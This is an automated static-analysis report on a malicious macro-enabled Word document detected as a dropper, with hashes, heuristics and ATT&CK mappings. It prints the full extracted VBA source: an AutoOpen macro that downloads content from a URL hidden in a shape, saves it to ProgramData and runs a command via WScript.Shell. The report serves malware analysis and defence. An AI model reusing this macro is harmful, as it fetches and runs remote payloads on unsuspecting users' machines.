Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 855b124cb3f6f763…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-11 10:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 2f1daf8d5e029ad27a2ffae9100927ba SHA-1: ddb96504eea93271ddd6c7f135b1791045fd4772 SHA-256: 855b124cb3f6f7631840553a3fffea1ffeb9b606f788d4803d3f9ffe0953fe65
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that leverages WScript.Shell and CreateObject to download content from an embedded URL and save it as 'c:\programdata\preview.jpeg'. This behavior is indicative of a dropper malware that fetches and executes a second-stage payload. The ClamAV detection 'Doc.Dropper.Aafg-9757067-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Aafg-9757067-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Aafg-9757067-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function b0c36c4b(b83c42e5)
Set dfa3c47e = CreateObject("wscript.shell")
Call dfa3c47e.exec(b83c42e5)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim f06cf84a As Object
Set f06cf84a = CreateObject("Scripting.FileSystemObject")
Dim f24c3e73 As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "a4ca2daf"
Sub AutoOpen()
Dim fd632828 As New cc633fa3
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1724 bytes
SHA-256: 01bcfd92ab620e9cb5350ac6d3fd4a9ca80357af76313e8b0d121b563affac2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "a4ca2daf"
Sub AutoOpen()
Dim fd632828 As New cc633fa3
Dim f40935a5 As String
f40935a5 = ActiveDocument.Shapes(1).AlternativeText
fef21d87 = fd632828.aba8fcd3(f40935a5)
ea7bafb9 e23668f2(fef21d87)
fd632828.b0c36c4b e362548e
End Sub

Attribute VB_Name = "d953793c"
Sub ea7bafb9(f3d60a41)
Dim f06cf84a As Object
Set f06cf84a = CreateObject("Scripting.FileSystemObject")
Dim f24c3e73 As Object
Set f24c3e73 = f06cf84a.CreateTextFile(d2db472e)
f24c3e73.WriteLine f3d60a41
f24c3e73.Close
End Sub
Function d2db472e()
d2db472e = "c:\programdata\preview.jpeg"
End Function
Sub d0bd4417()
End Sub
Function e23668f2(f3d60a41)
e23668f2 = StrConv(f3d60a41, 64)
End Function
Function e362548e()
e362548e = ActiveDocument.Shapes(1).Title + " " + d2db472e
End Function

Attribute VB_Name = "cc633fa3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aba8fcd3(e9fb71df)
Dim fea733e9 As Object
Set fea733e9 = New MSXML2.XMLHTTP60
fea733e9.Open "GET", e9fb71df, False
fea733e9.Send
'
With fea733e9
aba8fcd3 = .responsebody
End With
End Function
Function b0c36c4b(b83c42e5)
Set dfa3c47e = CreateObject("wscript.shell")
Call dfa3c47e.exec(b83c42e5)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 79c9766cf4f64e8b5a9ec3137571d55ae4d7aa11c2b13b89ffd1299693a4f8ff
Detection
ClamAV: Doc.Dropper.Aafg-9757067-0
Obfuscation or payload: unlikely

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